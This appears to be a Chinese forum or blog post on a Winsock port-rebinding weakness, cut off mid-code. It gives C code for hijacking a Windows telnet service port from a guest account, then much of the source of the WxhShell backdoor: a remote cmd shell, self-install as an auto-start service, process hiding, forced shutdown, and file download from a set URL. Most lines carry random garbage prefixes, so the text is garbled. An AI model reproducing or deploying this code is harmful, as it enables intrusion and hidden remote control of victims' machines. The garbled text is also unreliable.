在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
QNDHOo>v s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{&Q9"C <id}<H saddr.sin_family = AF_INET;
1{P'7IEj tnLAJ+-M saddr.sin_addr.s_addr = htonl(INADDR_ANY);
F`9]=T0 $/nY5[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9uWY@zu /> 4"~q) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"O(9 m.CZ Zdn~`Q{ 这意味着什么?意味着可以进行如下的攻击:
"1,pHR-+R 'fPdpnJ< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
r [K5w MX+Z ? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8zMu7,E IT$25ZF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\}]!)}G O`vTnrY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n9s iX H'HSD,>( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
U#U]Pt SB)5@
nmS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^i:B+
rl VcoOeAKL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E}ZJ)V7 A2|Ud_ #include
RVeEkv[qp #include
_/O25% l #include
+k`!QM>e- #include
@]ao"ui@/ DWORD WINAPI ClientThread(LPVOID lpParam);
: "1XPr int main()
a+Ac[> {
: >>@rF , WORD wVersionRequested;
-+O
9<3ly DWORD ret;
rl0< Ls WSADATA wsaData;
~9j%Hm0ht BOOL val;
?@V[#. SOCKADDR_IN saddr;
PiA0]> SOCKADDR_IN scaddr;
y{N-+10z int err;
q&d~
\{J SOCKET s;
|7zd%! SOCKET sc;
nMJ#<'v^!2 int caddsize;
HbW0wuI HANDLE mt;
QcpXn4/* DWORD tid;
l<);s wVersionRequested = MAKEWORD( 2, 2 );
A,4fEmWM err = WSAStartup( wVersionRequested, &wsaData );
p}cw{ if ( err != 0 ) {
y '!m4- printf("error!WSAStartup failed!\n");
k-}b{ return -1;
8Ac:_Zg }
~*wk6&| saddr.sin_family = AF_INET;
{D=@n4JO 7nuU^wc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
AnT3M.>ek p|]\P%,\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L`24?Y{ saddr.sin_port = htons(23);
J_;o|gqX if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
? YG)I;( {
|iwP:C^\mJ printf("error!socket failed!\n");
_]:z \TDn return -1;
LGtIm7 }
V5rST + val = TRUE;
Sy
'Dp9!| //SO_REUSEADDR选项就是可以实现端口重绑定的
o>VVsH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
yeMB0Z*r {
ZMq6/G*fD printf("error!setsockopt failed!\n");
s)pbS}L return -1;
ukUGvK }
v\{!THCSh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q 7?#=N? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Bs?^2T~%{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{E8~Z8tT d N$Tf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
R47\Y {
)KAEt.
ret=GetLastError();
rh^mJUh printf("error!bind failed!\n");
r3PT1'P?L return -1;
&c,kQo+pA }
VzVc37Z>6 listen(s,2);
T~='5iy| while(1)
q7E~+p(>( {
GI1 caddsize = sizeof(scaddr);
R~6$oeWAw //接受连接请求
5@BBoeG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{lc\,F* $ if(sc!=INVALID_SOCKET)
<.? jc% {
q*>&^V $M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
RVQh2'w if(mt==NULL)
J_4!2v!6e {
FIsyiSY<j printf("Thread Creat Failed!\n");
>j QWn@ break;
J7g8D{4 }
v'3J.?N }
.yEBOMNZ CloseHandle(mt);
\:UIc*S }
@qYp>|AF closesocket(s);
[;J>bi;3N WSACleanup();
~
(jKz}'~U return 0;
MpR2]k#n< }
lx7Q.su' DWORD WINAPI ClientThread(LPVOID lpParam)
&:`U&06q {
(P:<t6;+ SOCKET ss = (SOCKET)lpParam;
AQwdw>I-FX SOCKET sc;
$F5 b unsigned char buf[4096];
bXNk%W[n SOCKADDR_IN saddr;
{Sj9%2'M) long num;
(:>,u*x% DWORD val;
Bn &Ws DWORD ret;
1bn^.768l //如果是隐藏端口应用的话,可以在此处加一些判断
736Jq^T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
XSyHk"g` saddr.sin_family = AF_INET;
m+T;O/lG0{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
e-EUf saddr.sin_port = htons(23);
q}?4f*WC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ys kO {
Z'7 printf("error!socket failed!\n");
%Da1(bBh return -1;
WL"^>[Vq }
jr:7?8cH0L val = 100;
_y}
T/I9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@/ohg0 {
P&^;656r ret = GetLastError();
JAem0jPC8 return -1;
yL-YzF2 }
yvO{:B8% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|M,iM] {
2$ze=
/ l ret = GetLastError();
y1+*6| return -1;
Su/6Q$0 t }
N@Uy=?)ZJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
LAS'u"c| {
IHv[v*4: printf("error!socket connect failed!\n");
9^#c|
0T closesocket(sc);
Evg_q> closesocket(ss);
Eu@huN*/ return -1;
Oagsoik }
%_%Q8,W while(1)
#W.#Hjpp {
hRD=Y<>A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U!*M*s //如果是嗅探内容的话,可以再此处进行内容分析和记录
_)>_{Pm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
naR0@Q"\h num = recv(ss,buf,4096,0);
,N]H dR if(num>0)
\=ux atw send(sc,buf,num,0);
NUWDc]@J* else if(num==0)
=k^Y?. break;
NRIG 1v> num = recv(sc,buf,4096,0);
UMm!B `M if(num>0)
biU^[g(" send(ss,buf,num,0);
r\-uJ~8N else if(num==0)
b((M)Gz break;
Gsq00j
&<Z }
2Ay*kmW closesocket(ss);
n%o5kVx0 closesocket(sc);
>\P@^ h] return 0 ;
SVh 7zh }
\kMefU %,@e^3B zkuU5O ==========================================================
afuOeZP deV
8 下边附上一个代码,,WXhSHELL
?kH8Lw~{5W Z8@J`0x ==========================================================
L(|N[# c]n1':FT" #include "stdafx.h"
1Vrh4g.l QLvHQtzwX #include <stdio.h>
J$GUB3
G #include <string.h>
qzKdQ&vO #include <windows.h>
2db3I:;E #include <winsock2.h>
vZaZc}AyL #include <winsvc.h>
U4C 9<h& #include <urlmon.h>
= C8 ?M EIf5(/jo #pragma comment (lib, "Ws2_32.lib")
kwo3`b #pragma comment (lib, "urlmon.lib")
:~tAUy":_* #FCnA #define MAX_USER 100 // 最大客户端连接数
$0>60<J #define BUF_SOCK 200 // sock buffer
%7IugHH9y #define KEY_BUFF 255 // 输入 buffer
p93r'&Q T?tgdJ #define REBOOT 0 // 重启
#~2%) #define SHUTDOWN 1 // 关机
7XTkX"zKj 8hOk{xs8 #define DEF_PORT 5000 // 监听端口
NV72 irFMmI b #define REG_LEN 16 // 注册表键长度
ORHp$Un~) #define SVC_LEN 80 // NT服务名长度
?mFv0_!O ff,pvk8N5 // 从dll定义API
_VRpI)mu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vt %bI0# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\IV1j)I"u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0ghGBuv1s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}Qn&^[[miL (:TjoXXiY // wxhshell配置信息
DEG[Z7Ju struct WSCFG {
S1Wj8P- int ws_port; // 监听端口
*`ua'"="k char ws_passstr[REG_LEN]; // 口令
:8=i kwQ int ws_autoins; // 安装标记, 1=yes 0=no
&_dt>. char ws_regname[REG_LEN]; // 注册表键名
{JZZZY!n2 char ws_svcname[REG_LEN]; // 服务名
aeFe!`F char ws_svcdisp[SVC_LEN]; // 服务显示名
6}[I2F_^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
:cem,#(= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
la0BiLzb] int ws_downexe; // 下载执行标记, 1=yes 0=no
([T>.s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"d#Y}@*~o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;c-(ObSm K6v6ynp/ };
Wuc S:8#| ZM!CaR // default Wxhshell configuration
_~IR6dKE struct WSCFG wscfg={DEF_PORT,
X0bN3N "xuhuanlingzhe",
LtWP0@JA 1,
n'wU;!W9 "Wxhshell",
GK)?YM "Wxhshell",
8_BV:o9kL "WxhShell Service",
=9'RM>
"Wrsky Windows CmdShell Service",
`#F{Waww' "Please Input Your Password: ",
l&OKBUG 1,
[842&5Pd? "
http://www.wrsky.com/wxhshell.exe",
DBW[{DE "Wxhshell.exe"
QRc{vUR& };
w28o}$b` ?26I,:; // 消息定义模块
A!s`[2 Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
jSh5!6O char *msg_ws_prompt="\n\r? for help\n\r#>";
ddJQC|xR} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Cc+t}"^ char *msg_ws_ext="\n\rExit.";
l2zFKCGF( char *msg_ws_end="\n\rQuit.";
@Owb?(6? char *msg_ws_boot="\n\rReboot...";
we~[ ]
\
char *msg_ws_poff="\n\rShutdown...";
:q$.,EZ4#n char *msg_ws_down="\n\rSave to ";
V)Z}En["1 zT=Ho
char *msg_ws_err="\n\rErr!";
j"ThEx0 char *msg_ws_ok="\n\rOK!";
lGPUIoUo Bn=by{i char ExeFile[MAX_PATH];
.0S~872 int nUser = 0;
Uol|9F HANDLE handles[MAX_USER];
B:b5UD int OsIsNt;
AF;)#T< rn/ /% SERVICE_STATUS serviceStatus;
3m]4= SERVICE_STATUS_HANDLE hServiceStatusHandle;
\8)U!9,$nn lP[w?O // 函数声明
5gH1.7i b int Install(void);
,X[ktz int Uninstall(void);
QwNly4 int DownloadFile(char *sURL, SOCKET wsh);
!O+)sbd< int Boot(int flag);
"cE7
5 void HideProc(void);
_X^1IaL int GetOsVer(void);
Q3n,)M[N int Wxhshell(SOCKET wsl);
Q8:Has void TalkWithClient(void *cs);
!o5
W int CmdShell(SOCKET sock);
^W`<gR int StartFromService(void);
~bM4[*Q7 int StartWxhshell(LPSTR lpCmdLine);
wxR,OR ;,C)!c& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3QV *% VOID WINAPI NTServiceHandler( DWORD fdwControl );
nHnK)9\ N A;;fACF8e // 数据结构和表定义
ciFmaM. SERVICE_TABLE_ENTRY DispatchTable[] =
_Zp}?b5Q {
nF54tR[ {wscfg.ws_svcname, NTServiceMain},
|'.*K]Yp {NULL, NULL}
;kFDMuuO };
*;l]8. ^nT/i
.#_ // 自我安装
p#01gB int Install(void)
S@jQX {
K,Ef9c/+K char svExeFile[MAX_PATH];
:8L8q<U HKEY key;
<6EeD5{* strcpy(svExeFile,ExeFile);
:By?O"LQ ~+Rc}K // 如果是win9x系统,修改注册表设为自启动
R+2+-j4 if(!OsIsNt) {
fV &KM*W*@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*"+=K,#D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#zG&|<hc RegCloseKey(key);
RHaI ~jb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_D+}q_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)#BMTKA^ RegCloseKey(key);
NTdixfR return 0;
(_niMQtF} }
eK6hS_E }
Fz3fwLawI }
:Ux?, else {
Qiua V@B__`y7 // 如果是NT以上系统,安装为系统服务
3VsW@SG7N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
WzPTFw[ if (schSCManager!=0)
q
0$,*[PH {
2QD3&Q9 SC_HANDLE schService = CreateService
3*]eigi) (
*S]Ci\{_ schSCManager,
4iqoR$3Fc wscfg.ws_svcname,
LIS)(X<]? wscfg.ws_svcdisp,
9 %8"e>~ SERVICE_ALL_ACCESS,
D N'3QQn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
na#CpS;pc SERVICE_AUTO_START,
E=jNi SERVICE_ERROR_NORMAL,
-l`f)0{ svExeFile,
|*oZ_gI NULL,
))R5(R NULL,
OP~HdocB NULL,
)T/0S$@ NULL,
G^~k)6v=m NULL
x^HGVWw_ );
t#Z-mv:( if (schService!=0)
aDq5C-MzG {
:9O#ObFR CloseServiceHandle(schService);
{E
p0TVj` CloseServiceHandle(schSCManager);
7R`M,u~f2^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ql<i] Y strcat(svExeFile,wscfg.ws_svcname);
cWEE% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
t0/p]=+.p/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Te.Y#lCT$ RegCloseKey(key);
>7wOoK|1' return 0;
VbJiZw(aR }
~o82uw? }
EqyeJq . CloseServiceHandle(schSCManager);
K-e9>fmB# }
!Nu<xq@! }
?p9VO.^5 fdxLAC return 1;
VO,!x~S! }
RS"H8P4W e>7]w,*| // 自我卸载
vGc,vjC3x int Uninstall(void)
)'Oh`$M {
}E+!91't.^ HKEY key;
;,$NAejgd O!zV)^r if(!OsIsNt) {
m`IC6* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U1@IX4^2` RegDeleteValue(key,wscfg.ws_regname);
, R'@%,/ RegCloseKey(key);
[DJ flCR& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
s8QMewU RegDeleteValue(key,wscfg.ws_regname);
?Y)vGlWDW< RegCloseKey(key);
tkVbo.[8K return 0;
pA`+hQNN }
$"`- ^ }
{s)+R[?m<o }
l\BVS) else {
kQ4dwF~ +J_c'ChN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
l/BLUl~z if (schSCManager!=0)
)!Jc3%(B {
3 ,>0a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
a#^B2 if (schService!=0)
sJ#4(r` {
* 1T& if(DeleteService(schService)!=0) {
;>506jZ CloseServiceHandle(schService);
XOxr?NPQ^ CloseServiceHandle(schSCManager);
e`@ # *}A return 0;
`Y
BC }
-#0qV:D CloseServiceHandle(schService);
tna .52*/ }
9!f/aI CloseServiceHandle(schSCManager);
uG?_< mun }
$u7;TW6QD }
l=]cy-H FjK3
.>' return 1;
'Hc-~l>D }
[r3 !\HI7x D5$wTI // 从指定url下载文件
P.6nA^hXB int DownloadFile(char *sURL, SOCKET wsh)
5 elw~u
{
K2he4< HRESULT hr;
6^%UU
o% char seps[]= "/";
LL] zT H0 char *token;
@WJgWJm char *file;
/nyUG^5#{ char myURL[MAX_PATH];
/4t j3B, char myFILE[MAX_PATH];
gfX\CSGy (H)2s Y strcpy(myURL,sURL);
4 d;|sI@ token=strtok(myURL,seps);
|w_7_J2 while(token!=NULL)
WEFlV4/ {
t]>Lh>G file=token;
&Q+Ln,(&L token=strtok(NULL,seps);
e@c0WlWa }
7P"| J\ c#a@n 4 GetCurrentDirectory(MAX_PATH,myFILE);
-%2[2p strcat(myFILE, "\\");
;ToKJ6hN|* strcat(myFILE, file);
HuB<k3#sPy send(wsh,myFILE,strlen(myFILE),0);
S7=Bd[4 send(wsh,"...",3,0);
pV.Av hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Nqw&< x+ if(hr==S_OK)
>fe-d#!{ return 0;
umD!2
w else
AP[|Ta return 1;
6^uq?
T^:UBjK6t{ }
&f!z1d-qg? fYp'&Btb]x // 系统电源模块
5:O-tgig. int Boot(int flag)
@b"t]#V(E {
}MRd@ 0-?! HANDLE hToken;
MHSs!^/g5 TOKEN_PRIVILEGES tkp;
FQT~pfY dA@'b5N{" if(OsIsNt) {
_Xn qb+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Is]aj-#r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SeHagKA tkp.PrivilegeCount = 1;
9l}FU$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
t0z!DOODZP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~(x;5{ if(flag==REBOOT) {
[E+$?a= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
HHiT]S9 return 0;
W- i&sUgy }
Z^V6K3GSz- else {
N5* u]j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
cU ?0(z7 return 0;
M(jgd }
GN-mrQo }
fNb`X else {
,$;yY)x7U if(flag==REBOOT) {
K3m]%m2\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vN|l\!~ return 0;
{S,l_d+( }
.7i` (F) else {
Uu!f,L;ty if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
T6H}/#*tK return 0;
,stN }
wSb1"a }
3= xhoRX /V8}eZ97 return 1;
Q@
2i~Qo[ }
(Q%'N3gk ~\=1'D^6CK // win9x进程隐藏模块
f` :i.Sr void HideProc(void)
/J04^6 {
,S'p%g XEn*?.e HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_{R=B8Zz\ if ( hKernel != NULL )
'&.# {
G"X8}:} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
R<sJ^nx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t'BLVCu FreeLibrary(hKernel);
(7XCA,KTGI }
W5?yy>S6N Vy*:ne return;
Xv<B1 }
6T+FH;h
NG // 获取操作系统版本
4AG\[f
8q int GetOsVer(void)
43={Xy {
G2t;DN( OSVERSIONINFO winfo;
2kdC]|H2? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nA
P.^_K GetVersionEx(&winfo);
L,mQ
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
PH?#)lD return 1;
Sp7ld7c else
hF@Gn/ return 0;
pX&pLaF }
LEW'G"+ BZud)l24 // 客户端句柄模块
Y2d;E.DH8 int Wxhshell(SOCKET wsl)
8wVY0oRnU {
uHAT#\m: SOCKET wsh;
"*LD 3 struct sockaddr_in client;
bHg,1y)UC DWORD myID;
8>X d2X dDm):Z*`b while(nUser<MAX_USER)
kGdt1N[ {
66.5QD0 int nSize=sizeof(client);
0j30LXI_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T/^Hz4uA7 if(wsh==INVALID_SOCKET) return 1;
Jrg2/ee,* )dY=0"4Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3dht!7/ if(handles[nUser]==0)
_<a7CCg closesocket(wsh);
9uRFnzJVx else
BT)X8>ct nUser++;
D[_| *9BC }
-8r WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~><^'j[ T :/,2.l return 0;
:4MB]v[K }
A,%C,*)Cg Hir Fl // 关闭 socket
D8>enum void CloseIt(SOCKET wsh)
EI_ {
,z;ky5Ct closesocket(wsh);
% z#f.Ql nUser--;
x~GQV^(l3 ExitThread(0);
{"&SJt[%X }
&VV~%jl;k P(XaTU&- // 客户端请求句柄
s3]?8hXd void TalkWithClient(void *cs)
-1ce<nN {
]u4Hk?j~< K_2|_MLlZ SOCKET wsh=(SOCKET)cs;
EhO|~A*R char pwd[SVC_LEN];
E<C&Cjz:H char cmd[KEY_BUFF];
U Z|HJ8_ char chr[1];
dbOdq int i,j;
FXzFHU/dP z I+\Oll#Q while (nUser < MAX_USER) {
H ,+?
t xdf82) if(wscfg.ws_passstr) {
NzU,va N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qf=1?=l291 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O~59FuL //ZeroMemory(pwd,KEY_BUFF);
,Z{d.[$ i=0;
Ma8_:7`>O while(i<SVC_LEN) {
?Y:8eD"* >nw++[K_ // 设置超时
\0mb
3Q' fd_set FdRead;
~(pmLZ<GW} struct timeval TimeOut;
lY{FSGp FD_ZERO(&FdRead);
(tCUlX2 FD_SET(wsh,&FdRead);
vfl5Mx4 TimeOut.tv_sec=8;
#% of;mJv TimeOut.tv_usec=0;
Ya;9]k8, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
srYJp^sC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
^bc;[x&N c%[#~;E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KN?6;G{ pwd
=chr[0]; ;zYqsS
if(chr[0]==0xd || chr[0]==0xa) { a)S+8uU
pwd=0; ]~6_ WE8L
break; DK=cVpN%s
} B Ce|is0
i++; &Ch#-CUE/
} jL^](J>
UN%Vg:=
// 如果是非法用户,关闭 socket ^S)cjH`P
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pt&(npjN,
} 'yV?*a
b8%C*r7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WBN w~|DO]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >0dv+8Mn
M/q E2L[y
while(1) { ^{xeij/
.[Ap=UYI>
ZeroMemory(cmd,KEY_BUFF); c-g)eV|)S
@FC"nM
// 自动支持客户端 telnet标准 ' j6gG
j=0; FJ %
while(j<KEY_BUFF) { _>=L>*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vTaJqEE
cmd[j]=chr[0]; $b<6y/"
if(chr[0]==0xa || chr[0]==0xd) { =xsTDjH>
cmd[j]=0; ovwQ2TuK
break; GEEW?8
} uA$<\fnz
j++; m85WA
#
`
} ?x+Z)`w_
=)E,8L
// 下载文件 6m VuyI
if(strstr(cmd,"http://")) { t^[8RhD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xB@|LtdO9;
if(DownloadFile(cmd,wsh)) {
.*y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uP<0WCN
else =56T{N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pSm $FBW h
} % ,N<
else { 0<8XI>.3D
UjOB98Du
switch(cmd[0]) { }?&k a$rI
Y!WG)u5
// 帮助 ]$p{I)d&
case '?': { P7
PB t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OiAJ[L
break; =1P6Vk
} ?KITC;\\
// 安装 4*aZ>R2hO
case 'i': { 4J?t_)
if(Install()) Y3h/~bM%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]c&<zeX,
else 4GR!y)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8R"O{
break; McoK@q;
} {CR 5K9
// 卸载 16L]=&@
case 'r': { 50
A^bbid
if(Uninstall()) @]qBF]6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8scc%t7
else YPzU-:3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;SwMu@tg
break; -QyhwG=
} CiR%Ujf
// 显示 wxhshell 所在路径 U `o^mtW.
case 'p': { LGc&o]k
char svExeFile[MAX_PATH]; ~>0qZ{3J_
strcpy(svExeFile,"\n\r"); 11|Rdd+}
strcat(svExeFile,ExeFile); h(qQsxIOhS
send(wsh,svExeFile,strlen(svExeFile),0); pDQ}*
break; lc_E!"1
} EwS!]h?
// 重启 lpRR&
case 'b': { f30Pi1/h=c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /XudV2P-CA
if(Boot(REBOOT)) y7S4d~&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /m(=`aRt
else { rCS#{x
closesocket(wsh); ^m/14 MN|
ExitThread(0); NxVw!TsR
} Fb/XC:AD
break; QI]Ih
} Sa"9^_.2#
// 关机 Dfd-^N!
case 'd': { SlSM+F
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k|BHnj
if(Boot(SHUTDOWN)) g~BoFc.V2~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c8Q]!p+Yp
else { cEe?*\G
closesocket(wsh); *cTO7$\[
ExitThread(0); 84i_k
} # wc \T
break; ^FZ^6*
} w'X]M#Q><
// 获取shell oo=#XZkk
case 's': { *_ +7ni
CmdShell(wsh); 'xv8Gwf"
closesocket(wsh); =&!HwOnp
ExitThread(0); tA$)cg+.
break; ~^^ NHq
} .)|a2d ~F
// 退出
`VQb-V
case 'x': { |0{u->+ )
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jKZt~I
CloseIt(wsh); YF:2>w<
break; h;V,n
} :K?0e`
// 离开 Z?J:$of*
case 'q': { y fSM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WZ!WxX>zO
closesocket(wsh);
-
O"i3>C
WSACleanup(); yAL1O94
exit(1); "+?Cz!i
break; fWF|,A>>b
} ^). )
} D;Gq)]O
} OzT#1T1'c
CzV(cSS9-
// 提示信息 {FN;'Uc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iqhOi|!
} G5D2oQa=8
} CK_(b"
/D_+{dtE
return; `]$?uQ
} M+wt__vHf
#a| L3zR5v
// shell模块句柄 -ng=l;
int CmdShell(SOCKET sock) 19(Dj&x
{ >x3ug]Bu
STARTUPINFO si; wA`"\MWm
ZeroMemory(&si,sizeof(si)); wFlvi=n/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e75UMWaeC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Fs-3(V+\
PROCESS_INFORMATION ProcessInfo; _,6f#t
char cmdline[]="cmd"; 7GZgu$'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P6Bl
*@G
return 0; 6zIgQ4Bp24
} *m+5Pr`7
U-0#0} _
// 自身启动模式 HNa]H;-+5
int StartFromService(void) ^D@b;EyK
{ ig 0u^BC
typedef struct Q36)7=at
{ iA!7E;o
DWORD ExitStatus; {dPgf
DWORD PebBaseAddress; Lc<eRVNd,
DWORD AffinityMask; %lr|xX
DWORD BasePriority; PiLJZBUv
ULONG UniqueProcessId; 7:h!Wj-a]
